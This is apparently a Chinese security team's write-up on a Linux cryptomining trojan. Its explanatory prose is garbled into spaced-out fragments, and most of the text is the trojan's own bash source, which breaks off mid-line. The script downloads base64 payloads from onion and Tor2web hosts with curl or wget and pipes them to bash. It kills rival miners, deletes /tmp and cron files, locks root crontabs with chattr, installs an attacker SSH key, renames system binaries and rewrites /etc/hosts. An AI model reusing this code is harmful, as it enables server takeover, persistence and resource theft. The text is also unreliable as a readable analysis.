[118] 2019-12-26_Linux挖矿木马源码解析&处理

文档创建者:s7ckTeam
浏览次数:7
最后更新:2025-01-15
2019-12-26_Linux挖矿木马源码解析&处理 L i n u x &     A d m i n   T e a m   2 0 1 9 - 1 2 - 2 6                                 L i n u x &                                 s s h                 [ k t h r o t l d s ] C P U                 L i n u x                                 c u r l 访 U R L 访 使 w g e t                                 l d m 便 使 f i n d / l d m                 2 6 0 s s h s s h s s h w g e t c u r l O K f i n d   /   - n a m e   l d m
                I P i p t a b l e s I N P U T                 # ! / b i n / b a s h S H E L L = / b i n / b a s h P A T H = / u s r / l o c a l / s b i n : / u s r / l o c a l / b i n : / s b i n : / b i n : / u s r / s b i n : / u s r / b i n A R C H = $ ( u n a m e   - a ) i f   [ [   - f   / s b i n / a p k   ] ] ;   t h e n   P r e f = " a " ;   e l i f   [ [   $ ( e c h o   " $ { A R C H } " | g r e p   ' A l p i n e ' | w c   - l )   - e q   0   ] ] ;   t h e n   P r e f = " r " ;   e l s e   P r e f = " a " ;   f i R H O S T = " h t t p s : / / a n 7 k m d 2 w p 4 x o 7 h p r " T O R 1 = " . t o r 2 w e b . s u / " T O R 2 = " . d 2 w e b . o r g / " T O R 3 = " . o n i o n . s h / " R P A T H 1 = ' s r c / l d m ' R B I N 1 = " $ { P r e f } 6 4 x 7 5 " R B I N 2 = " $ { P r e f } 3 2 x 7 5 " R P A T H 2 = " i m a g e s / i c o / $ { R B I N 1 } . i c o " R P A T H 3 = " i m a g e s / i c o / $ { R B I N 2 } . i c o " R P A T H 2 B = " i m a g e s / $ { R B I N 1 } " R P A T H 3 B = " i m a g e s / $ { R B I N 2 } " # L P A T H = " $ { H O M E - / t m p } / . c a c h e / " C T I M E O U T = " 2 6 " ;   T I M E O U T = " 7 5 " C O P T S = "   - f s S L k   - - r e t r y   2   - - c o n n e c t - t i m e o u t   $ { C T I M E O U T }   - - m a x - t i m e   $ { T I M E O U T }   " W O P T S = "   - - q u i e t   - - t r i e s = 2   - - n o - c h e c k - c e r t i f i c a t e   - - c o n n e c t - t i m e o u t = $ { C T I M E O U T }   - - t i m e o u t = $ { T I M E O U T }   " t b i n = $ ( c o m m a n d   - v   y e s ) ;   b p a t h = $ ( d i r n a m e   " $ { t b i n } " ) ;   b p a t h = $ { b p a t h : - " / u s r / b i n " } C H K C U R L = '     t b i n = $ ( c o m m a n d   - v   y e s ) ;       b p a t h = $ ( d i r n a m e   " $ { t b i n } " ) ;       c u r l = " c u r l " ;       i f   [   $ ( c u r l   - - v e r s i o n   2 > / d e v / n u l l | g r e p   " c u r l   " | w c   - l )   - e q   0   ] ;   t h e n           c u r l = " e c h o " ;           i f   [   " $ { b p a t h } "   ! =   " "   ] ;   t h e n               f o r   f   i n   $ { b p a t h } / * ;               d o                   s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q   " C U R L O P T _ V E R B O S E "   & &   c u r l = " $ f "   & &   b r e a k ;               d o n e ;           f i ;       f i ;       w g e t = " w g e t " ;       i f   [   $ ( w g e t   - - v e r s i o n   2 > / d e v / n u l l | g r e p   " w g e t r c   " | w c   - l )   - e q   0   ] ;   t h e n           w g e t = " e c h o " ;           i f   [   " $ { b p a t h } "   ! =   " "   ] ;   t h e n               f o r   f   i n   $ { b p a t h } / * ;               d o                   s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q   " t o   < b u g - w g e t @ g n u . o r g > "   & &   w g e t = " $ f "   & &   b r e a k ;               d o n e ;           f i ;       f i ;       i f   [   $ ( c a t   / e t c / h o s t s | g r e p   - i   " o n i o n . | t i m e s y n c . s u | t o r 2 w e b " | w c   - l )   - n e   0   ] ;   t h e n           e c h o   " 1 2 7 . 0 . 0 . 1   l o c a l h o s t "   >   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;       f i ;   ' L B I N 1 = " / u s r / l o c a l / b i n / n p t d " L B I N 2 = " . f a v i c o n . i c o " L B I N 3 = " . k s w a p d " L B I N 4 = " / e t c / c r o n . h o u r l y / c r o n l o g " L B I N 5 = " / e t c / c r o n . d a i l y / c r o n l o g " L B I N 6 = " / e t c / c r o n . m o n t h l y / c r o n l o g " L B I N 7 = " / u s r / l o c a l / b i n / n p t " L B I N 8 = " k t h r o t l d s " L B I N 9 = " $ { L P A T H } . e d i t o r i n f o " n u l l = '   > / d e v / n u l l   2 > & 1 ' s k e y = "     s s h - r s a   A A A A B 3 N z a C 1 y c 2 E A A A A D A Q A B A A A B A Q C 1 S d r 0 t I I L 8 y P h K T L z V M n R K j 1 z z G q t R 4 t K p M 2 b f B E x + A H y v B L 8 j D Z D J 6 f u V w E B + a Z 8 b l / p A 5 q h F W R R W h O N L n L N 9 R W F x / 8 8 0 m s X I T w O X j C T 3     Q a 6 V p A F P P M a z J p b p p I g + L T k b O E j d D H v d Z 8 R h E t 7 t T X c 2 D o T D c s 7 3 E e e p Z b J m D F P 8 T C Y 7 h w g L i 0 X c G 8 Y H k D F o K F U h v S H P k z A s Q d 9 h y O W a I 1 t a L X 2 V Z H A k 8 r O a Y q a R G 3 U R W H 3 h Z v k 8 H c g g g m 2 q /     I Q Q a 9 V L l X 4 c S M 4 S i f M / Z N b L Y A J h H 1 x 3 Z g s c l i Z V m j B 5 5 w Z W R L 5 o O Z z t O K J T 2 o c z U u h D H M 1 q o U J j n x o p q t Z 5 D r A 7 6 W H   u s e r @ l o c a l h o s t     " S C N = 0 f u n c t i o n   b ( )   {         t = $ ( s h u f   - i   1 - 9 9   - n   1 )         w d o g 0 = $ ( p s   a u x | g r e p   - v   ' g r e p ' | g r e p   - v   d e f u n c t | g r e p   - v   ' s h   ' | g r e p   '   s l e e p   3 0 ' | w c   - l )
        i f   [   $ { w d o g 0 }   - l t   2   ]   & &   [   $ t   - l t   5 0   ] ;   t h e n                 i f   [   $ ( c o m m a n d   - v   t i m e o u t | w c   - l )   - n e   0   ] ;   t h e n                         t i m e o u t   6 0 0   $ ( c o m m a n d   - v   b a s h )   - c   "             ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } s r c / m a i n | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } s r c / m a i n | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } s r c / m a i n | |             $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 1 } s r c / m a i n | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 2 } s r c / m a i n | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 3 } s r c / m a i n ) |             b a s e 6 4   - d   | $ { s u d o }   $ ( c o m m a n d   - v   b a s h ) "   &                 e l s e                         ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } s r c / m a i n | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } s r c / m a i n | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } s r c / m a i n | |             $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 1 } s r c / m a i n | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 2 } s r c / m a i n | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T O R 3 } s r c / m a i n ) |             b a s e 6 4   - d   | $ { s u d o }   $ ( c o m m a n d   - v   b a s h )   &                 f i                 $ { s u d o }   $ { r m }   - r f   m a i n *   > / d e v / n u l l   2 > & 1         f i         i f   [   $ t   - l t   2 1   ] ;   t h e n   g ;   f i         $ { s u d o }   p s   a x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   " $ { L B I N 8 } " | g r e p   - v   " . n t p " | g r e p   - v i   " b a s h " | g r e p   - i   " n i c e h a s h | l i n u x s | l i n u x l | L i n u x |         c r a w l e r . w e i b o | 4 4 4 4 4 | c r y p t o n i g h t | s t r a t u m | g p g - d a e m o n | j o b s . f l u . c c | n m a p | c r a n b e r r y | s t a r t . s h | w a t c h . s h | k r u n . s h | k i l l T o p . s h | c p u m i n e r |         / 6 0 0 0 9 | s s h _ d e n y . s h | c l e a n . s h | . / o v e r | m r x 1 | r e d i s s c a n | e b s c a n | r e d i s - c l i | b a r a d _ a g e n t | . s r 0 | c l a y | u d e v s | . s s h d | / t m p / i n i t " |         u n i q |   w h i l e   r e a d   p i d   _ ;           d o               i f   [ [   $ { p i d }   - g t   3 0 1   ] ]   & &   [ [   !   " $ p i d "   = =   " $ $ "   ] ]   & &   [ [   !   " $ p i d "   = =   " $ ! "   ] ]   & &   [ [   !   " $ p i d "   = =   " $ P P I D "   ] ] ;   t h e n                   $ { s u d o }   k i l l   - 9   " $ { p i d } " ;                   $ { s u d o }   k i l l   - T E R M   - " $ { p i d } " ;               f i ;           d o n e         $ { s u d o }   p s   a x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   " $ { L B I N 8 } " | g r e p   - v   " . n t p " | g r e p   - v i   " b a s h " | g r e p   - v i   " s s h " | g r e p   - v i   ' e x i m ' |         g r e p   - i   " k w o r k e r d s | 5 6 4 1 6 | x m r | x i g | d d g s | m i n e r d | h a s h v a u l t | g e q n | . k t h r e a d d | h t t p d z | k w o r k e r | c o n f i g . j s o n | g w j y h s . c o m |         p a s t e b i n . c o m | s o b o t . c o m | k e r b e r o "         | u n i q |   w h i l e   r e a d   p i d   _ ;           d o               i f   [ [   $ { p i d }   - g t   3 0 1   ] ]   & &   [ [   !   " $ p i d "   = =   " $ $ "   ] ]   & &   [ [   !   " $ p i d "   = =   " $ ! "   ] ]   & &   [ [   !   " $ p i d "   = =   " $ P P I D "   ] ] ;   t h e n                   $ { s u d o }   k i l l   - 9   " $ { p i d } " ;                   $ { s u d o }   k i l l   - T E R M   - " $ { p i d } " ;               f i ;           d o n e         $ { s u d o }   c h a t t r   - i   - a   ~ / . c a c h e   > / d e v / n u l l   2 > & 1 ;           i f   [ [   " $ { L P A T H } "   ! =   * " / t m p / " *   ] ] ;   t h e n                 $ { s u d o }   $ { r m }   - r f   / t m p / *   > / d e v / n u l l   2 > & 1                 $ { s u d o }   $ { r m }   - r f   / t m p / . *   > / d e v / n u l l   2 > & 1         e l s e                 $ { s u d o }   $ { r m }   - f   / t m p / *   > / d e v / n u l l   2 > & 1                 $ { s u d o }   $ { r m }   - f   / t m p / . *   > / d e v / n u l l   2 > & 1         f i         h l o a d = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   " $ { L B I N 8 } " | g r e p   - v i   ' j a v a   ' | g r e p   - v i   ' j e n k i n s ' | g r e p   - v i   ' e x i m ' | a w k   ' { i f ( $ 3 > = 5 4 . 0 )   p r i n t   $ 1 1 } ' | h e a d   - n   1 )         [   " $ { h l o a d } "   ! =   " "   ]   & &   {   $ { s u d o }   p s   a x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   " $ { L B I N 8 } " | g r e p   - v i   " b a s h " | g r e p   " x m r | $ { h l o a d } " |     w h i l e   r e a d   p i d   _ ;     d o           i f   [ [   $ { p i d }   - g t   3 0 1   ] ]   & &   [ [   !   " $ p i d "   = =   " $ $ "   ] ]   & &   [ [   !   " $ p i d "   = =   " $ ! "   ] ]   & &   [ [   !   " $ p i d "   = =   " $ P P I D "   ] ] ;   t h e n               $ { s u d o }   k i l l   - 9   " $ { p i d } "   > / d e v / n u l l   2 > & 1 ;           f i ;       d o n e ;   }         h l o a d 2 = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   p y t h o n | g r e p   - v   " $ { L B I N 8 } " | g r e p   - v i   " b a s h " | g r e p   - v i   ' e x i m ' | a w k   ' { i f ( $ 3 > = 0 . 0 )   p r i n t   $ 2 } ' | u n i q )         i f   [ [   !   " $ { h l o a d 2 } "   = =   " "   ] ] ;   t h e n                 f o r   p   i n   $ { h l o a d 2 } ;   d o                         x m = ' '                         i f   [ [   $ p   - g t   3 0 1   ] ]   & &   [ [   !   " $ p i d "   = =   " $ $ "   ] ]   & &   [ [   !   " $ p i d "   = =   " $ ! "   ] ]   & &   [ [   !   " $ p i d "   = =   " $ P P I D "   ] ] ;   t h e n                                 i f   [   - f   / p r o c / $ { p } / e x e   ] ;   t h e n                                         x m f = " $ ( r e a d l i n k   / p r o c / $ { p } / c w d ) / $ ( c a t   / p r o c / $ { p } / c o m m ) "                                         x m = $ ( g r e p   - i   " x m r | c r y p t o n i g h t | h a s h r a t e "   / p r o c / $ { p } / e x e   2 > & 1 )                                 e l i f   [   - f   / p r o c / $ { p } / c o m m   ] ;   t h e n                                         x m f = " $ ( r e a d l i n k   / p r o c / $ { p } / c w d ) / $ ( c a t   / p r o c / $ { p } / c o m m ) "                                         x m = $ ( g r e p   - i   " x m r | c r y p t o n i g h t | h a s h r a t e "   $ { x m f }   2 > & 1 )                                 f i                                 i f   [ [   " $ { x m } "   = =   * " m a t c h e s " *   ] ]   | |   [ [   " $ ( r e a d l i n k   / p r o c / $ { p } / e x e ) "   = =   * " / t m p / " *   ] ]   | |   [ [   " $ { x m f } "   = =   * " / t m p / " *   ] ] ;   t h e n                       $ { s u d o }   k i l l   - 9   $ { p }   > / d e v / n u l l   2 > & 1 ;                       $ { s u d o }   $ { r m }   - r f   $ { x m f }   > / d e v / n u l l   2 > & 1 ;                   f i                         f i                 d o n e         f i         o t h e r s = $ ( $ { s u d o }   p s   a u x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   - v   " $ { L B I N 8 } " | g r e p   - v i   " b a s h " | g r e p   - v i   ' e x i m ' | a w k   ' { i f ( $ 3 > = 4 . 0 )   p r i n t   $ 1 1 } ' )         i f   [     " $ { o t h e r s } "   ! =   " "   ] ;   t h e n                 f o r   o   i n   $ { o t h e r s } ;   d o                         o k i l l = 0                         i f   [   - f   " $ { o } "   ] ;   t h e n                                 i f   g r e p   - q i   ' d d g s '   " $ { o } "   2 > / d e v / n u l l   & &   g r e p   - q i   ' s l a v e '   " $ { o } "   2 > / d e v / n u l l ;   t h e n   o k i l l = 1 ;   f i                                 i f   g r e p   - q i   ' k e r b e r o d s '   " $ { o } "   2 > / d e v / n u l l   | |   g r e p   - q i   ' k h u g e p a g e d s '   " $ { o } "   2 > / d e v / n u l l ;   t h e n   o k i l l = 1 ;   f i                                 i f   [   $ { o k i l l }   - e q   1   ] ;   t h e n                                         $ { s u d o }   p s   a x | g r e p   - v   g r e p | g r e p   - v   d e f u n c t | g r e p   " $ { o } " | w h i l e   r e a d   p i d   _ ;   d o   $ { s u d o }   k i l l   - 9   " $ p i d "   > / d e v / n u l l   2 > & 1 ;   d o n e                                         $ { s u d o }   c h a t t r   - i   - a   " $ { o } "   > / d e v / n u l l   2 > & 1 ;   $ { r m }   - r f   " $ { o } "   > / d e v / n u l l   2 > & 1                                 f i                         f i
                        f i                 d o n e         f i         i f   [ [   $ { s u d o e r }   = =   1   ] ] ;   t h e n                 $ { s u d o }   c h a t t r   - i   - a   - R   / t m p   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   - i   - a   - R   / t m p /   > / d e v / n u l l   2 > & 1                 $ { s u d o }   l n   - s f   / e t c / l d . s o . p r e l o a d   / t m p / . l d . s o   > / d e v / n u l l   2 > & 1                 $ { s u d o }   e c h o   ' '   > / t m p / . l d . s o   > / d e v / n u l l   2 > & 1                 $ { s u d o }   $ { r m }   - r f   / e t c / l d . s o . p r e l o a d *   > / d e v / n u l l   2 > & 1                 $ { s u d o }   $ { r m }   - r f   / v a r / t m p / *   > / d e v / n u l l   2 > & 1                 $ { s u d o }   $ { r m }   - r f   / v a r / t m p / . *   > / d e v / n u l l   2 > & 1                 i f   [   - d   / e t c / s y s t e m d / s y s t e m /   ] ;   t h e n               $ { s u d o }   $ { r m }   - r f   / e t c / s y s t e m d / s y s t e m / c l o u d *   > / d e v / n u l l   2 > & 1 ;           f i                 i f   [ [   !   " $ ( c r o n t a b   - l   2 > / d e v / n u l l ) "   = =   * " $ { R H O S T } " *   ] ]   | |   [ [   " $ ( c r o n t a b   - l   2 > / d e v / n u l l ) "   = =   * " 3 e i . x y z " *   ] ]   | |   [ [   " $ ( c r o n t a b   - l   2 > / d e v / n u l l ) "   = =   * " p a s t e b i n . c o m / r a w / " *   ] ] ;                           $ { s u d o }   c h a t t r   - a   - i   / e t c / c r o n t a b   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   c h a t t r   - i   - a   / v a r / s p o o l / c r o n   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   c h a t t r   - i   - a   - R   / v a r / s p o o l / c r o n /   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   c h a t t r   - i   - a   / e t c / c r o n . d   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   c h a t t r   - i   - a   - R   / e t c / c r o n . d /   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   c h a t t r   - i   - a   / v a r / s p o o l / c r o n / c r o n t a b s   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   c h a t t r   - i   - a   - R   / v a r / s p o o l / c r o n / c r o n t a b s /   > / d e v / n u l l   2 > & 1                         $ { s u d o }   $ { r m }   - r f   / v a r / s p o o l / c r o n / c r o n t a b s / *   > / d e v / n u l l   2 > & 1 ;             $ { s u d o }   $ { r m }   - r f   / v a r / s p o o l / c r o n / c r o n t a b s / . *   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   $ { r m }   - f   / v a r / s p o o l / c r o n / *   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   $ { r m }   - f   / v a r / s p o o l / c r o n / . *   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   $ { r m }   - f   / e t c / c r o n . d / *   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   $ { r m }   - f   / e t c / c r o n . d / . *   > / d e v / n u l l   2 > & 1                         i f   [   - f   / s b i n / a p k   ] ;   t h e n                                 $ { s u d o }   m k d i r   - p   / e t c / c r o n t a b s   > / d e v / n u l l   2 > & 1 ;                   $ { s u d o }   $ { r m }   - r f   / e t c / c r o n t a b s / *   > / d e v / n u l l   2 > & 1 ;                   $ { s u d o }   e c h o   - e   " $ { C 1 } "   >   / e t c / c r o n t a b s / r o o t   & &                   $ { s u d o }   e c h o   - e   " $ { C 2 } "   > >   / e t c / c r o n t a b s / r o o t   & &                   $ { s u d o }   e c h o   ' '   > >   / e t c / c r o n t a b s / r o o t                   & &   $ { s u d o }   c r o n t a b   / e t c / c r o n t a b s / r o o t   2 > / d e v / n u l l ;                   $ { s u d o }   c h a t t r   + i   / e t c / c r o n t a b s / r o o t   2 > / d e v / n u l l                         e l i f   [   - f   / u s r / b i n / a p t - g e t   ] ;   t h e n                                 $ { s u d o }   m k d i r   - p   / v a r / s p o o l / c r o n / c r o n t a b s   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   - i   - a   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   > / d e v / n u l l   2 > & 1                                 r s = $ ( $ { s u d o }   e c h o   - e   " $ { C 1 } "   >   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   2 > & 1 )                                 i f   [ [   $ { r s }   = =   " "   ] ] ;   t h e n                       $ { s u d o }   e c h o   - e   ' '   > >   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   2 > & 1   & &                       $ { s u d o }   c h m o d   6 0 0   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   & &                       $ { s u d o }   c r o n t a b   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   2 > / d e v / n u l l ;                   f i                                 $ { s u d o }   c h a t t r   + i   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   2 > / d e v / n u l l                         e l s e                                 $ { s u d o }   m k d i r   - p   / v a r / s p o o l / c r o n   > / d e v / n u l l   2 > & 1 ;                   $ { s u d o }   c h a t t r   - i   - a   / v a r / s p o o l / c r o n / r o o t   > / d e v / n u l l   2 > & 1                                 r s = $ ( $ { s u d o }   e c h o   - e   " $ { C 1 } "   >   / v a r / s p o o l / c r o n / r o o t   2 > & 1 )                                 i f   [ [   $ { r s }   = =   " "   ] ] ;   t h e n                     $ { s u d o }   e c h o   - e   ' '   > >   / v a r / s p o o l / c r o n / r o o t   & &                       $ { s u d o }   c r o n t a b   / v a r / s p o o l / c r o n / r o o t   2 > / d e v / n u l l ;                   f i                                 $ { s u d o }   c h a t t r   + i   / v a r / s p o o l / c r o n / r o o t   2 > / d e v / n u l l                         f i                         $ { s u d o }   c h a t t r   - i   - a   / e t c / c r o n t a b   > / d e v / n u l l   2 > & 1 ;   r s = $ ( $ { s u d o }   e c h o   - e   " $ { C 2 } "   >   / e t c / c r o n t a b   2 > & 1 )                         i f   [   - z   " $ { r s } "   ] ;   t h e n   $ { s u d o }   e c h o   - e   ' '   > >   / e t c / c r o n t a b   & &   $ { s u d o }   c r o n t a b   / e t c / c r o n t a b   2 > / d e v / n u l l ;   f i                         $ { s u d o }   m k d i r   - p   / e t c / c r o n . d   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   - i   - a   / e t c / c r o n . d / r o o t   > / d e v / n u l l   2 > & 1                         r s = $ ( $ { s u d o }   e c h o   - e   " $ { C 2 } "   >   / e t c / c r o n . d / r o o t   2 > & 1   & &   $ { s u d o }   e c h o   - e   ' '   > >   / e t c / c r o n . d / r o o t   2 > & 1 )                         # i f   [ [   $ { r s }   = =   " "   ] ] ;   t h e n   $ { s u d o }   c r o n t a b   / e t c / c r o n . d / r o o t   2 > / d e v / n u l l ;   f i                         $ { s u d o }   c h m o d   6 0 0   / e t c / c r o n . d / r o o t   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   + i   / e t c / c r o n t a b   / e t c / c r o n . d / r o o t   > / d e v / n u l l   2 > & 1                 f i                                 $ { s u d o }   m k d i r   - p   " $ { s s h d i r } "   > / d e v / n u l l   2 > & 1 ;           i f   [   !   - f   $ { s s h d i r } / a u t h o r i z e d _ k e y s   ] ;   t h e n               $ { s u d o }   t o u c h   $ { s s h d i r } / a u t h o r i z e d _ k e y s   > / d e v / n u l l   2 > & 1 ;           f i                 $ { s u d o }   c h a t t r   - i   - a   $ { L P A T H }   > / d e v / n u l l   2 > & 1 ;           $ { s u d o }   c h a t t r   - i   - a   " $ { s s h d i r } "   > / d e v / n u l l   2 > & 1 ;           $ { s u d o }   c h a t t r   - i   - a   - R   " $ { s s h d i r } / "   > / d e v / n u l l   2 > & 1 ;           $ { s u d o }   c h a t t r   - i   - a   $ { s s h d i r } / a u t h o r i z e d _ k e y s   > / d e v / n u l l   2 > & 1                 i f   [   - n   " $ ( g r e p   - F   r e d i s   $ { s s h d i r } / a u t h o r i z e d _ k e y s ) "   ]   | |   [   $ ( w c   - l   <   $ { s s h d i r } / a u t h o r i z e d _ k e y s )   - g t   5 0   ] ;   t h e n               $ { s u d o }   e c h o   " $ { s k e y } "   >   $ { s s h d i r } / a u t h o r i z e d _ k e y s ;           f i                 i f   t e s t   " $ ( $ { s u d o }   g r e p   " ^ $ { s k e y } "   $ { s s h d i r } / a u t h o r i z e d _ k e y s ) "   ! =   " $ { s k e y } " ;   t h e n                 $ { s u d o }   e c h o   - e   " $ { s k e y } "   > >   $ { s s h d i r } / a u t h o r i z e d _ k e y s ;           f i                 $ { s u d o }   c h m o d   0 7 0 0   $ { s s h d i r }   > / d e v / n u l l   2 > & 1 ;           $ { s u d o }   c h m o d   6 0 0   $ { s s h d i r } / a u t h o r i z e d _ k e y s   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   + i   $ { s s h d i r } / a u t h o r i z e d _ k e y s   > / d e v / n u l l   2 > & 1 ;           $ { s u d o }   $ { r m }   - r f   $ { s s h d i r } / a u t h o r i z e d _ k e y s *   > / d e v / n u l l   2 > & 1                 [   $ ( $ { s u d o }   c a t   / e t c / h o s t s | g r e p   - i   " o n i o n . " | w c   - l )   - n e   0   ]   & &   {               $ { s u d o }   c h a t t r   - i   - a   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;  
            $ { s u d o }   c h m o d   6 4 4   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   s e d   - i   ' / . o n i o n . $ / d '   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;   }                 [   $ ( $ { s u d o }   c a t   / e t c / h o s t s | g r e p   - i   " t o r 2 w e b . " | w c   - l )   - n e   0   ]   & &   {               $ { s u d o }   c h a t t r   - i   - a   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   c h m o d   6 4 4   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   s e d   - i   ' / . t o r 2 w e b . $ / d '   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;   }                 [   $ ( $ { s u d o }   c a t   / e t c / h o s t s | g r e p   - i   " t i m e s y n c . s u " | w c   - l )   - n e   0   ]   & &   {               $ { s u d o }   c h a t t r   - i   - a   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   c h m o d   6 4 4   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;               $ { s u d o }   s e d   - i   ' / t i m e s y n c . s u $ / d '   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;   }                 [   $ ( $ { s u d o }   c a t   / e t c / h o s t s | g r e p   - i   " o n i o n . | t i m e s y n c . s u | t o r 2 w e b " | w c   - l )   - n e   0   ]   & &   {               $ { s u d o }   e c h o   - e   ' 1 2 7 . 0 . 0 . 1   l o c a l h o s t '   >   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;   }         e l s e                 i f   [ [   !   " $ ( c r o n t a b   - l   2 > / d e v / n u l l ) "   = =   * " $ { R H O S T } " *   ] ] ;   t h e n                         c r o n t a b   - r   > / d e v / n u l l   2 > & 1                         ( c r o n t a b   - l   > / d e v / n u l l   2 > & 1 ;   e c h o   " $ { C 1 } " )   |   c r o n t a b   -                 f i         f i         i f   [ [   $ ( d a t e   + % M )   = =     " 0 1 "   ] ]   | |   [ [   $ ( d a t e   + % M )   = =     " 3 1 "   ] ] ;   t h e n                 m k d i r   - p   $ { L P A T H }   > / d e v / n u l l   2 > & 1 ;   $ { s u d o }   c h a t t r   - i   $ { L P A T H }   > / d e v / n u l l   2 > & 1 ;   c h m o d   1 7 5 5   $ { L P A T H }   > / d e v / n u l l   2 > & 1                 t b i n = $ ( c o m m a n d   - v   y e s ) ;   b p a t h = $ ( d i r n a m e   " $ { t b i n } " ) ;   b p a t h = $ { b p a t h : - " / u s r / b i n " }                 i f   [   $ ( r m   - - h e l p   2 > / d e v / n u l l | g r e p   "   r m   d o e s   n o t   r e m o v e   d i r " | w c   - l )   - n e   0   ] ;   t h e n               r m = " r m " ;           e l i f   [   $ ( r r n   - - h e l p   2 > / d e v / n u l l | g r e p   "   r m   d o e s   n o t   r e m o v e   d i r " | w c   - l )   - n e   0   ] ;   t h e n               r m = " r r n " ;           e l s e               r m = " e c h o " ;               f o r   f   i n   / b i n / * ;               d o                   s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q i   "   r m   d o e s   n o t   r e m o v e   d i r "   & &   r m = " $ f "   & &   $ { s u d o }   m v   - f   $ r m   / b i n / r r n   & &   b r e a k ;               d o n e ;           f i                 i f   [   $ ( c u r l   - - h e l p   2 > / d e v / n u l l | g r e p   - i   " D u m p   l i b c u r l   e q u i v a l e n t " | w c   - l )   - n e   0   ] ;   t h e n               c u r l = " c u r l " ;           e l i f   [   $ ( l x c   - - h e l p   2 > / d e v / n u l l | g r e p   - i   " D u m p   l i b c u r l   e q u i v a l e n t " | w c   - l )   - n e   0   ] ;   t h e n               c u r l = " l x c " ;           e l s e               c u r l = " e c h o " ;               f o r   f   i n   $ { b p a t h } / * ;               d o                   s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q i   " D u m p   l i b c u r l   e q u i v a l e n t "   & &   c u r l = " $ f "   & &   $ { s u d o }   m v   - f   $ c u r l   $ { b p a t h } / l x c   & &   b r e a k ;               d o n e ;           f i                 i f   [   $ ( w g e t   - - v e r s i o n   2 > / d e v / n u l l | g r e p   - i   " w g e t r c   " | w c   - l )   - n e   0   ] ;   t h e n               w g e t = " w g e t " ;           e l i f   [   $ ( l x w   - - v e r s i o n   2 > / d e v / n u l l | g r e p   - i   " w g e t r c   " | w c   - l )   - n e   0   ] ;   t h e n               w g e t = " l x w " ;           e l s e               w g e t = " e c h o " ;               f o r   f   i n   $ { b p a t h } / * ;               d o                   s t r i n g s   $ f   2 > / d e v / n u l l | g r e p   - q i   " . w g e t r c ' - s t y l e   c o m m a n d "   & &   w g e t = " $ f "   & &   $ { s u d o }   m v   - f   $ w g e t   $ { b p a t h } / l x w   & &   b r e a k ;               d o n e ;           f i                 i f   [   $ ( c a t   / e t c / h o s t s | g r e p   - i   " o n i o n . | t i m e s y n c . s u | t o r 2 w e b " | w c   - l )   - n e   0   ] ;   t h e n               e c h o   " 1 2 7 . 0 . 0 . 1   l o c a l h o s t "   >   / e t c / h o s t s   > / d e v / n u l l   2 > & 1 ;           f i                 i f   [   $ ( c o m m a n d   - v   t i m e o u t | w c   - l )   - n e   0   ] ;   t h e n                         t i m e o u t   6 0 0   $ ( c o m m a n d   - v   b a s h )   - c   " ( $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 1 } $ { R P A T H 1 } | | $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 2 } $ { R P A T H 1 } | |             $ { c u r l }   $ { C O P T S }   $ { R H O S T } $ { T O R 3 } $ { R P A T H 1 } | | $ { w g e t }   $ { W O P T S }   $ { R H O S T } $ { T 